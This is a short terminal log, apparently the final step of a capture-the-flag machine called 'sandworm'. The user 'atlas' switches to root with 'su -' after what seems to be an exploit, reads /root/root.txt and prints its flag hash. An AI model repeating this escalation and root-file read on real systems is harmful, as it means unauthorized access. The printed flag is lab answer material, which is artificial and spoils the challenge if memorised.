Child process initialized in 7.20 ms
atlas@sandworm:/opt/tipnet$ su -
root@sandworm:~# cat /root/root.txt
53da0e08e763ff3a5ba2f84e94c95fc1